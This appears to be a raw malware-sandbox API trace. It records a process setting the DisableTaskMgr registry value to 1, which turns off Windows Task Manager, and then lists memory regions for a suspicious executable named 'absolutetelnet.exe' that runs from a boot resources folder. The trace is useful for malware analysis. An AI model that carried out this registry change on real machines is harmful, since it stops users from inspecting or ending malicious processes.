0x0 [0143.829] RtlRestoreLastWin32Error () returned 0x490 [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] RtlRestoreLastWin32Error () returned 0x0 [0143.829] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System") returned 57 [0143.829] GetProcessHeap () returned 0xc40000 [0143.829] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x74) returned 0xc439d0 [0143.829] GetProcessHeap () returned 0xc40000 [0143.829] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0xa0) returned 0xc490d0 [0143.829] GetProcessHeap () returned 0xc40000 [0143.829] GetProcessHeap () returned 0xc40000 [0143.829] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc44340) returned 1 [0143.829] GetProcessHeap () returned 0xc40000 [0143.830] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc44340) returned 0x28 [0143.830] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc44340) returned 1 [0143.831] GetProcessHeap () returned 0xc40000 [0143.831] GetProcessHeap () returned 0xc40000 [0143.831] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc43948) returned 1 [0143.831] GetProcessHeap () returned 0xc40000 [0143.831] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc43948) returned 0x7e [0143.831] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc43948) returned 1 [0143.831] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/v", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 2 [0143.831] lstrlenW (lpString="DisableTaskMgr") returned 14 [0143.832] GetProcessHeap () returned 0xc40000 [0143.832] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x1e) returned 0xc44340 [0143.832] lstrlenW (lpString="DisableTaskMgr") returned 14 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x69) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x62) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x6c) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x65) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x61) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x73) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x6b) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x67) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x72) returned 0x0 [0143.832] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1 [0143.832] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1 [0143.832] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1 [0143.832] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1 [0143.832] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/t", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 2 [0143.832] StrDupW (lpSrch="REG_DWORD") returned="REG_DWORD" [0143.832] lstrlenW (lpString="REG_DWORD") returned 9 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0143.832] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0143.833] StrChrW (lpStart=" \x09", wMatch=0x5f) returned 0x0 [0143.833] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0143.833] StrChrW (lpStart=" \x09", wMatch=0x57) returned 0x0 [0143.833] StrChrW (lpStart=" \x09", wMatch=0x4f) returned 0x0 [0143.833] StrChrW (lpStart=" \x09", wMatch=0x52) returned 0x0 [0143.833] StrChrW (lpStart=" \x09", wMatch=0x44) returned 0x0 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_SZ", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_EXPAND_SZ", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_MULTI_SZ", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_BINARY", cchCount2=-1) returned 3 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="REG_DWORD", cchCount1=-1, lpString2="REG_DWORD", cchCount2=-1) returned 2 [0143.833] LocalFree (hMem=0xc49728) returned 0x0 [0143.833] RtlRestoreLastWin32Error () returned 0x0 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/d", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 2 [0143.833] lstrlenW (lpString="1") returned 1 [0143.833] GetProcessHeap () returned 0xc40000 [0143.833] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x4) returned 0xc42a30 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/v", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-v", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/ve", cchCount2=-1) returned 1 [0143.833] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-ve", cchCount2=-1) returned 1 [0143.834] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/t", cchCount2=-1) returned 1 [0143.834] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-t", cchCount2=-1) returned 1 [0143.834] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/s", cchCount2=-1) returned 1 [0143.834] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-s", cchCount2=-1) returned 1 [0143.834] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/d", cchCount2=-1) returned 3 [0143.834] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="-d", cchCount2=-1) returned 1 [0143.834] CompareStringW (Locale=0x7f, dwCmpFlags=0x1, lpString1="/f", cchCount1=-1, lpString2="/f", cchCount2=-1) returned 2 [0143.834] RtlRestoreLastWin32Error () returned 0x0 [0143.834] RegCreateKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0xcfbe4, lpdwDisposition=0xcfbb4 | out: phkResult=0xcfbe4*=0xac, lpdwDisposition=0xcfbb4*=0x1) returned 0x0 [0143.834] RegQueryValueExW (in: hKey=0xac, lpValueName="DisableTaskMgr", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x2 [0143.834] GetThreadLocale () returned 0x409 [0143.834] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="1", cchCount1=2, lpString2="0x", cchCount2=2) returned 3 [0143.834] _memicmp (_Buf1=0xc47a48, _Buf2=0xff1b04, _Size=0x7) returned 0 [0143.834] lstrlenW (lpString="1") returned 1 [0143.834] lstrlenW (lpString="1") returned 1 [0143.835] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0143.835] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0143.835] lstrlenW (lpString="1") returned 1 [0143.835] _errno () returned 0xb005b0 [0143.835] _errno () returned 0xb005b0 [0143.835] lstrlenW (lpString="") returned 0 [0143.835] _memicmp (_Buf1=0xc47a48, _Buf2=0xff1b04, _Size=0x7) returned 0 [0143.835] lstrlenW (lpString="1") returned 1 [0143.835] lstrlenW (lpString="1") returned 1 [0143.835] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0143.835] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0143.835] lstrlenW (lpString="1") returned 1 [0143.835] _errno () returned 0xb005b0 [0143.835] _errno () returned 0xb005b0 [0143.835] lstrlenW (lpString="") returned 0 [0143.835] RegSetValueExW (in: hKey=0xac, lpValueName="DisableTaskMgr", Reserved=0x0, dwType=0x4, lpData=0xcfbc8*=0x1, cbData=0x4 | out: lpData=0xcfbc8*=0x1) returned 0x0 [0143.835] RegCloseKey (hKey=0xac) returned 0x0 [0143.835] GetProcessHeap () returned 0xc40000 [0143.836] GetProcessHeap () returned 0xc40000 [0143.836] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc439d0) returned 1 [0143.836] GetProcessHeap () returned 0xc40000 [0143.836] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc439d0) returned 0x74 [0143.836] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc439d0) returned 1 [0143.837] GetProcessHeap () returned 0xc40000 [0143.837] GetProcessHeap () returned 0xc40000 [0143.837] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc490d0) returned 1 [0143.837] GetProcessHeap () returned 0xc40000 [0143.837] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc490d0) returned 0xa0 [0143.837] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc490d0) returned 1 [0143.837] GetProcessHeap () returned 0xc40000 [0143.837] GetProcessHeap () returned 0xc40000 [0143.837] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc44340) returned 1 [0143.837] GetProcessHeap () returned 0xc40000 [0143.838] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc44340) returned 0x1e [0143.838] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc44340) returned 1 [0143.838] GetProcessHeap () returned 0xc40000 [0143.838] GetProcessHeap () returned 0xc40000 [0143.838] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc42a30) returned 1 [0143.838] GetProcessHeap () returned 0xc40000 [0143.838] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc42a30) returned 0x4 [0143.838] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc42a30) returned 1 [0143.838] RtlRestoreLastWin32Error () returned 0x0 [0143.838] GetLastError () returned 0x0 [0143.838] FormatMessageW (in: dwFlags=0x1300, lpSource=0x0, dwMessageId=0x0, dwLanguageId=0x0, lpBuffer=0xcfb90, nSize=0x0, Arguments=0x0 | out: lpBuffer="㥈Äﱠ\x0c⪢ÿ屦ÿ೨°") returned 0x27 [0143.850] GetLastError () returned 0x0 [0143.850] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39 [0143.850] GetProcessHeap () returned 0xc40000 [0143.850] GetProcessHeap () returned 0xc40000 [0143.850] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc40580) returned 1 [0143.850] GetProcessHeap () returned 0xc40000 [0143.850] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc40580) returned 0x2 [0143.850] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc40580) returned 1 [0143.850] GetProcessHeap () returned 0xc40000 [0143.850] RtlAllocateHeap (HeapHandle=0xc40000, Flags=0xc, Size=0x50) returned 0xc439a0 [0143.851] RtlRestoreLastWin32Error () returned 0x0 [0143.851] LocalFree (hMem=0xc43948) returned 0x0 [0143.851] __iob_func () returned 0x75591208 [0143.851] _fileno (_File=0x75591228) returned 1 [0143.851] _errno () returned 0xb005b0 [0143.851] _get_osfhandle (_FileHandle=1) returned 0x3c [0143.851] _errno () returned 0xb005b0 [0143.851] GetFileType (hFile=0x3c) returned 0x2 [0143.851] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0143.851] GetFileType (hFile=0x3c) returned 0x2 [0143.851] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xcfb60 | out: lpMode=0xcfb60) returned 1 [0143.854] __iob_func () returned 0x75591208 [0143.854] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0143.854] lstrlenW (lpString="The operation completed successfully.\r\n") returned 39 [0143.854] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0xc439a0*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0xcfb84, lpReserved=0x0 | out: lpBuffer=0xc439a0*, lpNumberOfCharsWritten=0xcfb84*=0x27) returned 1 [0143.857] GetProcessHeap () returned 0xc40000 [0143.857] GetProcessHeap () returned 0xc40000 [0143.857] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc44268) returned 1 [0143.858] GetProcessHeap () returned 0xc40000 [0143.858] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc44268) returned 0x84 [0143.858] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc44268) returned 1 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47b98) returned 1 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47b98) returned 0x10 [0143.859] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47b98) returned 1 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc43bc0) returned 1 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc43bc0) returned 0x14 [0143.859] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc43bc0) returned 1 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc42a08) returned 1 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc42a08) returned 0x1e [0143.859] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc42a08) returned 1 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47a48) returned 1 [0143.859] GetProcessHeap () returned 0xc40000 [0143.859] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47a48) returned 0x10 [0143.860] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47a48) returned 1 [0143.860] GetProcessHeap () returned 0xc40000 [0143.860] GetProcessHeap () returned 0xc40000 [0143.860] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc43ba0) returned 1 [0143.860] GetProcessHeap () returned 0xc40000 [0143.860] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc43ba0) returned 0x14 [0143.860] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc43ba0) returned 1 [0143.860] GetProcessHeap () returned 0xc40000 [0143.860] GetProcessHeap () returned 0xc40000 [0143.860] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc439a0) returned 1 [0143.860] GetProcessHeap () returned 0xc40000 [0143.860] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc439a0) returned 0x50 [0143.861] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc439a0) returned 1 [0143.861] GetProcessHeap () returned 0xc40000 [0143.861] GetProcessHeap () returned 0xc40000 [0143.861] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc44418) returned 1 [0143.861] GetProcessHeap () returned 0xc40000 [0143.861] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc44418) returned 0x14 [0143.861] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc44418) returned 1 [0143.861] GetProcessHeap () returned 0xc40000 [0143.862] GetProcessHeap () returned 0xc40000 [0143.862] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc43f88) returned 1 [0143.862] GetProcessHeap () returned 0xc40000 [0143.862] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc43f88) returned 0x14 [0143.862] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc43f88) returned 1 [0143.862] GetProcessHeap () returned 0xc40000 [0143.862] GetProcessHeap () returned 0xc40000 [0143.862] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47708) returned 1 [0143.862] GetProcessHeap () returned 0xc40000 [0143.862] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47708) returned 0x14 [0143.862] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47708) returned 1 [0143.862] GetProcessHeap () returned 0xc40000 [0143.862] GetProcessHeap () returned 0xc40000 [0143.862] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47728) returned 1 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47728) returned 0x14 [0143.863] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47728) returned 1 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47a30) returned 1 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47a30) returned 0x10 [0143.863] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47a30) returned 1 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47748) returned 1 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47748) returned 0x14 [0143.863] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47748) returned 1 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc44498) returned 1 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc44498) returned 0x14 [0143.863] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc44498) returned 1 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] GetProcessHeap () returned 0xc40000 [0143.863] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc444b8) returned 1 [0143.863] GetProcessHeap () returned 0xc40000 [0143.864] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc444b8) returned 0x14 [0143.864] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc444b8) returned 1 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc444d8) returned 1 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc444d8) returned 0x14 [0143.864] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc444d8) returned 1 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47b68) returned 1 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47b68) returned 0x10 [0143.864] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47b68) returned 1 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc43b80) returned 1 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc43b80) returned 0x14 [0143.864] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc43b80) returned 1 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] GetProcessHeap () returned 0xc40000 [0143.864] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47788) returned 1 [0143.864] GetProcessHeap () returned 0xc40000 [0143.865] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47788) returned 0x14 [0143.865] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47788) returned 1 [0143.865] GetProcessHeap () returned 0xc40000 [0143.865] GetProcessHeap () returned 0xc40000 [0143.865] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47a00) returned 1 [0143.865] GetProcessHeap () returned 0xc40000 [0143.865] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47a00) returned 0x10 [0143.865] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47a00) returned 1 [0143.865] GetProcessHeap () returned 0xc40000 [0143.865] GetProcessHeap () returned 0xc40000 [0143.865] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc477a8) returned 1 [0143.865] GetProcessHeap () returned 0xc40000 [0143.865] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc477a8) returned 0x14 [0143.865] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc477a8) returned 1 [0143.865] GetProcessHeap () returned 0xc40000 [0143.865] GetProcessHeap () returned 0xc40000 [0143.865] HeapValidate (hHeap=0xc40000, dwFlags=0x0, lpMem=0xc47a18) returned 1 [0143.865] GetProcessHeap () returned 0xc40000 [0143.865] RtlSizeHeap (HeapHandle=0xc40000, Flags=0x0, MemoryPointer=0xc47a18) returned 0x10 [0143.865] RtlFreeHeap (HeapHandle=0xc40000, Flags=0x0, BaseAddress=0xc47a18) returned 1 [0143.865] exit (_Code=0) Thread: id = 176 os_tid = 0x8fc Process: id = "21" image_name = "absolutetelnet.exe" filename = "c:\\boot\\resources\\en-us\\absolutetelnet.exe" page_root = "0x4c12f000" os_pid = "0xbf4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x13c0" cmd_line = "\"C:\\Boot\\Resources\\en-US\\absolutetelnet.exe\" " cur_dir = "C:\\portSession\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3541 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3542 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3543 start_va = 0x50000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3544 start_va = 0x150000 end_va = 0x153fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000150000" filename = "" Region: id = 3545 start_va = 0x160000 end_va = 0x161fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3546 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3547 start_va = 0x4d0000 end_va = 0x6c9fff monitored = 1 entry_point = 0x6c131e region_type = mapped_file name = "absolutetelnet.exe" filename = "\\Boot\\Resources\\en-US\\absolutetelnet.exe" (normalized: "c:\\boot\\resources\\en-us\\absolutetelnet.exe") Region: id = 3548 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3549 start_va = 0x7ff5ff080000 end_va = 0x7ff5ff0a2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ff080000" filename = "" Region: id = 3550 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3551 start_va = 0x6d0000 end_va = 0x7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 3552 start_va = 0x7ffb06a40000 end_va = 0x7ffb06aa7fff monitored = 1 entry_point = 0x7ffb06a44970 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 3553 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3554 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3555 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3556 start_va = 0x7ff5fef80000 end_va = 0x7ff5ff07ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fef80000" filename = "" Region: id = 3557 start_va = 0x400000 end_va = 